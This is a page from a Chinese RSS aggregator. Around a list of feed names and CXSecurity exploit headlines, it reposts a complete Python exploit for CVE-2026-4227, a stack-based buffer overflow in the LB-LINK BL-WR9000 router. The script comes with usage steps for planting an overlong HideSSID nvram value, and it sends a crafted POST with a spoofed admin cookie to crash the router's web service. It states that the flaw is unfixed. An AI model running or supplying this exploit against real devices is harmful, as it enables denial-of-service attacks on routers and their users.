惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 司徒正美
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
美团技术团队
WordPress大学
WordPress大学
罗磊的独立博客
Last Week in AI
Last Week in AI
人人都是产品经理
人人都是产品经理
爱范儿
爱范儿
MongoDB | Blog
MongoDB | Blog
J
Java Code Geeks
H
Hackread – Cybersecurity News, Data Breaches, AI and More
H
Help Net Security
S
SegmentFault 最新的问题
C
Check Point Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
腾讯CDC
Engineering at Meta
Engineering at Meta
The GitHub Blog
The GitHub Blog
F
Fortinet All Blogs
D
DataBreaches.Net
雷峰网
雷峰网
GbyAI
GbyAI
宝玉的分享
宝玉的分享

CXSECURITY Database RSS Feed - CXSecurity.com

Langflow 1.3.0 Remote Code Execution Krayin CRM v2.2.x Authenticated Remote Code Execution PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution
LB-LINK BL-WR9000 V2.4.9 - Stack-based Buffer Overflow in...
2026-03-17 · via CXSECURITY Database RSS Feed - CXSecurity.com

#!/usr/bin/env python3 # Exploit Title: LB-LINK BL-WR9000 HideSSID Stack Overflow # CVE: CVE-2026-4227 # Date: 2026-03-16 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Affected: LB-LINK BL-WR9000 firmware V2.4.9 # Tested on: LB-LINK BL-WR9000 V2.4.9 # Category: Remote Denial of Service # Platform: Embedded (MIPS/ARM) # Exploit Type: Remote # CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) # Description: Stack-based buffer overflow in /goform/get_hidessid_cfg via overly long HideSSID nvram value # Fixed in: Not fixed (as of March 2026) # Usage: # python3 exploit.py <router_ip> # # Examples: # python3 exploit.py 192.168.16.1 # # Options: # -- (none implemented) # # Notes: # • Requires nvram value HideSSID to be set to a string longer than ~64 bytes before first ';' # • Example: nvram_set HideSSID 'A'*300';0;' ; nvram_commit # • Triggers crash of goahead web process (DoS) # # How to Use # # Step 1: # Set malicious nvram value (via shell or vulnerable web interface if possible): # nvram_set HideSSID 'A'*300';0;' # nvram_commit # # Step 2: # Run this script against the router: # python3 exploit.py 192.168.16.1 import requests import sys import time def main(): if len(sys.argv) != 2: print("Usage: python3 exploit.py <router_ip>") print("Example: python3 exploit.py 192.168.16.1") sys.exit(1) ip = sys.argv[1].strip() target = f"http://{ip}" url = f"{target}/goform/get_hidessid_cfg" headers = { "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en", "Accept": "application/json, text/javascript, */*; q=0.01", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "Referer": f"{target}/admin/main.html", "Cookie": "platform=0; user=admin", "Connection": "keep-alive", "Content-Type": "application/x-www-form-urlencoded", } data = "type=gethide2" print(f"[+] Target URL : {url}") print(f"[+] Payload : type=gethide2") print(f"[+] Cookie : {headers['Cookie']}") print("-"*50) try: print("[+] Sending exploit request...") start = time.time() response = requests.post( url, headers=headers, data=data, timeout=8, allow_redirects=False ) elapsed = time.time() - start print(f"[+] Status code: {response.status_code}") print(f"[+] Response : {response.text[:150]}...") except requests.exceptions.Timeout: print("[+] Router crashed (timeout) — Exploit successful!") except requests.exceptions.ConnectionError: print("[+] Connection refused / socket closed — Exploit successful!") except Exception as e: print(f"[!] Unexpected error: {e}") else: print("[?] No crash detected. Check HideSSID value.") print("\n[+] Done.") if __name__ == "__main__": main()